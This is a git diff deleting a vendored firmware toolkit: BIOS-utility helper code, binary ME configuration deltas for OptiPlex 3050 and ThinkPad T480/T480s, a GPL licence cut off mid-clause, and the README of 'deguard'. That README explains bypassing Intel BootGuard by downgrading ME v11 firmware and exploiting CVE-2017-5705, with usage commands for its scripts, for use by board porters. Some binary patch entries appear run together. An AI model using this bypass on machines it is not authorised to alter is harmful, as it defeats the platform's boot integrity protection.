- - return absolute_path - - # https://stackoverflow.com/a/781074 by Torsten Marek - @staticmethod - def _exception_handler(exc_type, exc_value, exc_traceback): - if exc_type is KeyboardInterrupt: - printer('') - else: - printer('Error: Utility crashed, please report the following:\n') - - traceback.print_exception(exc_type, exc_value, exc_traceback) - - if not is_auto_exit(): - input('\nPress enter to exit') - - sys.exit(127) diff --git a/blobs/t480/biosutilities/common/text_ops.py b/blobs/t480/biosutilities/common/text_ops.py deleted file mode 100644 index f00705124..000000000 --- a/blobs/t480/biosutilities/common/text_ops.py +++ /dev/null @@ -1,33 +0,0 @@ -#!/usr/bin/env python3 -#coding=utf-8 - -""" -Copyright (C) 2022 Plato Mavropoulos -""" - -# Generate padding (spaces or tabs) -def padder(padd_count, tab=False): - return ('\t' if tab else ' ') * padd_count - -# Get String from given input object -def to_string(in_object, sep_char=''): - if type(in_object).__name__ in ('list','tuple'): - out_string = sep_char.join(map(str, in_object)) - else: - out_string = str(in_object) - - return out_string - -# Get Bytes from given buffer or file path -def file_to_bytes(in_object): - object_bytes = in_object - - if type(in_object).__name__ not in ('bytes','bytearray'): - with open(to_string(in_object), 'rb') as object_data: - object_bytes = object_data.read() - - return object_bytes - -# Check if string starts and ends with given character(s) -def is_encased(in_string, chars): - return in_string.startswith(chars) and in_string.endswith(chars) diff --git a/blobs/t480/biosutilities/external/requirements.txt b/blobs/t480/biosutilities/external/requirements.txt deleted file mode 100644 index 798c16cf3..000000000 --- a/blobs/t480/biosutilities/external/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -lznt1 >= 0.2 -pefile >= 2022.5.30 diff --git a/blobs/t480/deguard/.gitignore b/blobs/t480/deguard/.gitignore deleted file mode 100644 index 834b16bde..000000000 --- a/blobs/t480/deguard/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -__pycache__ -test diff --git a/blobs/t480/deguard/README.md b/blobs/t480/deguard/README.md deleted file mode 100644 index 186001cea..000000000 --- a/blobs/t480/deguard/README.md +++ /dev/null @@ -1,81 +0,0 @@ -# Bypass Intel BootGuard on ME v11.x.x.x hardware - -This utility allows generating BootGuard bypass images for hardware running ME v11.x.x.x firmware. - -This includes Skylake, Kaby Lake, and some Coffee Lake PCHs. Both the H (desktop) and LP (mobile) firmware -varaints are supported. - -## Background - -This uses [CVE-2017-5705](https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html). - -It has been fixed by Intel in newer ME v11.x.x.x firmware releases, however ME11 hardware has no protection -against downgrading the ME version by overwriting the SPI flash physically, thus we can downgrade to a vulnerable -version. - -After downgrade, we exploit the bup module of the vulnerable firmware, overwriting the copy of field programmable fuses -stored in SRAM, resulting in the fused BootGuard configuration being replaced with our desired one. - -## Adding new target - -As a board porter, you need to provide the delta between the default and vendor provided ME configuration. - -This goes in the `data/delta/` directory for each target. - -To obtain this, dump the vendor firmware from your board, and execute: - -`./generatedelta.py --input --output data/delta/` - -Note the delta generation only takes your factory dump as an input. This is because an ME image contains both the -default and system specific configuration, and these can be compared by deguard. - -You *must discard* the `/home/secureboot` directory from the delta for the zero FPF config to work. - -You can optionally also discard `home/{amt,fwupdate,pavp,ptt}` from the delta. - -## Generating images for an existing target - -As a user wishing to generate an image for a supported target: - -You will need to obtain a donor image for your platform variant with a supported ME version (see URLs below). - -This can either be a full image with a flash descriptor or just a bare ME region. - -Afterwards, execute the following command and enjoy: - -`./finalimage.py --delta data/delta/ --version --pch --sku <2M or 5M SKU> --fake-fpfs data/fpfs/zero --input --output ` - -The output will be a bare deguard patched ME region. - -Please note: -- The **the HAP bit must be enabled** in your flash descriptor for deguard generated ME images to work. -- The DCI bit must be enabled in your flash descriptor for DCI debugging over USB. - - -## Note on field programmable fuses - -This document recommends faking a set of FPFs that are all zero as a BootGuard bypass strategy. - -This causes the platform to work in legacy mode, and does not require dumping the fuses from the PCH. - -It is also possible to enable measured mode instead (there is some example FPF data for this). - -Theoretically it is possible to even re-enable BootGuard with a custom private key (with the caveat that it is -obviously insecure against physical access). - -## Donor images - -This section lists some URLs to recommended and tested donor images. Any image with a supported firmware -version and variant ought to work, but the path of least resistance is for everyone to use the same images. - -|Version|Variant|SKU|URL|Notes| -|-|-|-|-| -|11.6.0.1126|H (Desktop)|2M|[link](https://web.archive.org/web/20230822134231/https://download.asrock.com/BIOS/1151/H110M-DGS(7.30)ROM.zip)|Zipped flash image| -|11.6.0.1126|LP (Laptop)|2M|[link](https://web.archive.org/web/20241110222323/https://dl.dell.com/FOLDER04573471M/1/Inspiron_5468_1.3.0.exe)|Dell BIOS update (use Dell_PFS_Extract.py)| - -## Thanks - -Thanks goes to PT Research and Youness El Alaoui for previous work on exploiting Intel SA 00086, which this PoC is heavily reliant on. - -- [IntelTXE-PoC](https://github.com/kakaroto/IntelTXE-PoC) -- [MFSUtil](https://github.com/kakaroto/MFSUtil) diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/emu_fuse_map deleted file mode 100644 index 78259a9dc541f003d09457207db1840901d2d1ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7 OcmZ>37i8dJ-~a#xoB;Cx diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/fuse_ip_base deleted file mode 100644 index 658a9660e31c0501f3e9fba168279fecec236f8b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 18 ZcmWe&P-3uPSje!M;Q^BeQzX+xCIBG91Q`GT diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku deleted file mode 100644 index 96296af2d..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/bup_sku/plat_n_sku +++ /dev/null @@ -1 +0,0 @@ -/ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp b/blobs/t480/deguard/data/delta/optiplex_3050/home/bup/mbp deleted file mode 100644 index 6d3c0ed71b21e041cac3068687a0607cac1e8c50..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 44 tcmd;PWnf_BU}69PMph;UB^DP!MkXc(2SGtYMouOM=YW5WY>Z&}1^_eW1Kt1t diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/optiplex_3050/home/gpio/csme_pins deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/dynregs deleted file mode 100644 index 23c1ea2751fd4615995e5930e844e1abd9b58557..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 36 jcmY#kU}RuoU|?VpV81gH3Z8yoU{Diaz9V21QU<~Ru6_#V diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/header deleted file mode 100644 index 4b75556082e2c00ea8a888450d05627b20f0ec61..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQ%U|<9Q00{sC diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/namestr deleted file mode 100644 index 6f8c6989c84e6c19cdc026f95c6148b436fd4486..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 48 ecmWG2%1_J8NmVdlKn1}iiFqlBMJcGF3=9Cwn+8(= diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof0 deleted file mode 100644 index dab085a9f50507ce36b5fd1a2c47661f81937372..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 120 zcmWeozo*7wbe=&#T|k`y2r?KL8F+v+a{%L81|x?5f{Ki9nHiWF{2YLMAYe-Z(e?~& eDG-`170QRwY#C5KlxE9>@}V@B0OK7Npg912zZd}k diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof1 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof10 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof2 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof3 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof4 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof5 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof6 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof7 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof8 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 b/blobs/t480/deguard/data/delta/optiplex_3050/home/icc/prof9 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom b/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom deleted file mode 100644 index 6b2aaa764..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/eom +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy b/blobs/t480/deguard/data/delta/optiplex_3050/home/mca/ish_policy deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports b/blobs/t480/deguard/data/delta/optiplex_3050/home/mctp/device_ports deleted file mode 100644 index 593f4708db84ac8fd0f5cc47c634f38c013fe9e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQzU|;|M00aO5 diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/cfgmgr/cfg_rules deleted file mode 100644 index 91423d6906ebdae53f92532fc69f888190ce4572..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 660 zcmY+>O-=$q6a?U>4vI#Q1{4*QKLG(10bxy$#1+Y$z`L;VAY97>a0{R+shK<%o%&Mg zem&_iGrKg4<{^xZWP}~d>`r8aMKb%0jIdLg{TWssTj{Lp&t=ZoVkqwg{~2A{=VZ>o zytKcP`CSG17a8O|vMBRxNk&*%=ALWk8|RA5v$rzB?qv4&@&&RgbLNA*i2qiPax+?n zCz)q!&UF}X#P<&k`77S7n@Nvs$=}PL&9jWKw#=CwtmHkr>Jj!L^MCfRl0ALrf%YKm c)%nf&9p+iyHFW)l^T>JZJaPVXo;uH*4=I}$YybcN diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 deleted file mode 100644 index 189a0a7f9..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid1 +++ /dev/null @@ -1 +0,0 @@ -n$ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 deleted file mode 100644 index 9aab9a80e..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid2 +++ /dev/null @@ -1 +0,0 @@ -t` \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 deleted file mode 100644 index 6eb8dc476..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/hci/sysintid3 +++ /dev/null @@ -1 +0,0 @@ -Ȯ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto b/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto deleted file mode 100644 index 27f4db070..000000000 --- a/blobs/t480/deguard/data/delta/optiplex_3050/home/policy/pwdmgr/segreto +++ /dev/null @@ -1 +0,0 @@ -к \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/emu_fuse_map deleted file mode 100644 index e51cb421e9112ea7a4411231ec508df3a8b775e2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7 OcmZQ$abVzK=mP)(I{@VX diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/fuse_ip_base deleted file mode 100644 index 756890b668082baad0045ee92ca8d392a133368d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 18 Zcmb1O&|+|4*uZdzVHZ;{QwGxpCIBLs1R?+c diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/bup_sku/plat_n_sku deleted file mode 100644 index 3b549bfe91fe908ceec9ec613c2669ed8bd61508..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 Lcmd;JU}yjU0Hgqk diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/invokemebx deleted file mode 100644 index 593f4708db84ac8fd0f5cc47c634f38c013fe9e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQzU|;|M00aO5 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp b/blobs/t480/deguard/data/delta/thinkpad_t480/home/bup/mbp deleted file mode 100644 index dd19cff43f2c1640d0fef3b3813dfdfa7c43c845..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 52 zcmd;OV_;z9U}9io0Me{X42mMcPK-=U46Z@nVi`G^7~BK?HL@`>0c9B)SRgb50C?~P AQvd(} diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/thinkpad_t480/home/gpio/csme_pins deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/dynregs deleted file mode 100644 index 1cbeceebe10779124f952593fb481732944701cf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 28 icmb1PU}RuoU|?VpV7)VQ&P)b-AX`m<@s5B|NErY*umwK= diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/header deleted file mode 100644 index 4b75556082e2c00ea8a888450d05627b20f0ec61..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQ%U|<9Q00{sC diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/namestr deleted file mode 100644 index b0f3735c08f70e800a5dcce8ba8a2ef5ac9b075e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 48 ZcmeZC&C4&#XTSi#C5d?{iA5>s5&*Dj1*HH0 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof1 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof10 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof2 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof3 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof4 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof5 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof6 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof7 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof8 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 b/blobs/t480/deguard/data/delta/thinkpad_t480/home/icc/prof9 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom deleted file mode 100644 index 6b2aaa764..000000000 --- a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/eom +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mca/ish_policy deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports b/blobs/t480/deguard/data/delta/thinkpad_t480/home/mctp/device_ports deleted file mode 100644 index 593f4708db84ac8fd0f5cc47c634f38c013fe9e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQzU|;|M00aO5 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config b/blobs/t480/deguard/data/delta/thinkpad_t480/home/policy/Bist/auto_config deleted file mode 100644 index 009d73a31973e2082917509b8596bb343d4265ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQ0l|Qv41yvG4#=e9z?u+=D-yz9@8ZUTcsXyt609Z&}1^_We1G@kK diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/gpio/csme_pins deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/dynregs deleted file mode 100644 index 912ab3579185250403dc1db1cb95ed24b1e7f2ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 28 icmb1PU}RuoU|?VpV7)W*s5&*Dj1*HH0 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof1 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof10 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof2 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof3 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof4 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof5 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof6 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof7 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof8 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/icc/prof9 deleted file mode 100644 index e69de29bb..000000000 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom deleted file mode 100644 index 6b2aaa764..000000000 --- a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/eom +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mca/ish_policy deleted file mode 100644 index f76dd238ade08917e6712764a16a22005a50573d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1 IcmZPo000310RR91 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/mctp/device_ports deleted file mode 100644 index 593f4708db84ac8fd0f5cc47c634f38c013fe9e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQzU|;|M00aO5 diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/Bist/auto_config deleted file mode 100644 index f66c9cf4c9672fa2832bce76f4082fd97b823506..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4 LcmZQ%U|;|M00;mA diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/cfgmgr/cfg_rules deleted file mode 100644 index 6243fe92703b15ca1f7f387ba5c4d899a79c569b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 660 zcmY+=OHKk|5Cq^>K!kw6@D_P1@igPOP^;RM`;4F~aZ-U6s51t}Jj`cnC)|Cu&3 zOPGZhK{|6oBkY#;E<__NOnV=p5q3v=9~Iw=W3X@rU?Rd<6FI7iRzf diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 deleted file mode 100644 index b508e576d..000000000 --- a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid1 +++ /dev/null @@ -1 +0,0 @@ -Z# \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 deleted file mode 100644 index 96116535e..000000000 --- a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid2 +++ /dev/null @@ -1 +0,0 @@ -R˦ \ No newline at end of file diff --git a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 b/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 deleted file mode 100644 index 7f55b1e93..000000000 --- a/blobs/t480/deguard/data/delta/thinkpad_t480s/home/policy/hci/sysintid3 +++ /dev/null @@ -1 +0,0 @@ -6 \ No newline at end of file diff --git a/blobs/t480/deguard/data/fpfs/optiplex_3050 b/blobs/t480/deguard/data/fpfs/optiplex_3050 deleted file mode 100644 index c3493e18862c9671102fd85f3cad1006b8b58f6b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 256 zcmZQz0D+KDAYfo{U}OkjWjNr%;J^YF#zR>6eQ5X(1bCESmBP@oVCzO#%>XOz?EKE> rZ>Jqp++35a9MK>;Axm{(U!-G7q3u5=tOlV8GD7)KhdZE2-0RR92 diff --git a/blobs/t480/deguard/doc/COPYING.txt b/blobs/t480/deguard/doc/COPYING.txt deleted file mode 100644 index d159169d1..000000000 --- a/blobs/t480/deguard/doc/COPYING.txt +++ /dev/null @@ -1,339 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 2, June 1991 - - Copyright (C) 1989, 1991 Free Software Foundation, Inc., - 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -License is intended to guarantee your freedom to share and change free -software--to make sure the software is free for all its users. This -General Public License applies to most of the Free Software -Foundation's software and to any other program whose authors commit to -using it. (Some other Free Software Foundation software is covered by -the GNU Lesser General Public License instead.) You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -this service if you wish), that you receive source code or can get it -if you want it, that you can change the software or use pieces of it -in new free programs; and that you know you can do these things. - - To protect your rights, we need to make restrictions that forbid -anyone to deny you these rights or to ask you to surrender the rights. -These restrictions translate to certain responsibilities for you if you -distribute copies of the software, or if you modify it. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must give the recipients all the rights that -you have. You must make sure that they, too, receive or can get the -source code. And you must show them these terms so they know their -rights. - - We protect your rights with two steps: (1) copyright the software, and -(2) offer you this license which gives you legal permission to copy, -distribute and/or modify the software. - - Also, for each author's protection and ours, we want to make certain -that everyone understands that there is no warranty for this free -software. If the software is modified by someone else and passed on, we -want its recipients to know that what they have is not the original, so -that any problems introduced by others will not reflect on the original -authors' reputations. - - Finally, any free program is threatened constantly by software -patents. We wish to avoid the danger that redistributors of a free -program will individually obtain patent licenses, in effect making the -program proprietary. To prevent this, we have made it clear that any -patent must be licensed for everyone's free use or not licensed at all. - - The precise terms and conditions for copying, distribution and -modification follow. - - GNU GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License applies to any program or other work which contains -a notice placed by the copyright holder saying it may be distributed -under the terms of this General Public License. The "Program", below, -refers to any such program or work, and a "work based on the Program" -means either the Program or any derivative work under copyright law: -that is to say, a work containing the Program or a portion of it, -either verbatim or with modifications and/or translated into another -language. (Hereinafter, translation is included without limitation in -the term "modification".) Each licensee is addressed as "you". - -Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running the Program is not restricted, and the output from the Program -is covered only if its contents constitute a work based on the -Program (independent of having been made by running the Program). -Whether that is true depends on what the Program does. - - 1. You may copy and distribute verbatim copies of the Program's -source code as you receive it, in any medium, provided that you -conspicuously and appropriately publish on each copy an appropriate -copyright notice and disclaimer of warranty; keep intact all the -notices that refer to this License and to the absence of any warranty; -and give any other recipients of the Program a copy of this License -along with the Program. - -You may charge a fee for the physical act of transferring a copy, and -you may at your option offer warranty protection in exchange for a fee. - - 2. You may modify your copy or copies of the Program or any portion -of it, thus forming a work based on the Program, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) You must cause the modified files to carry prominent notices - stating that you changed the files and the date of any change. - - b) You must cause any work that you distribute or publish, that in - whole or in part contains or is derived from the Program or any - part thereof, to be licensed as a whole at no charge to all third - parties under the terms of this License. - - c) If the 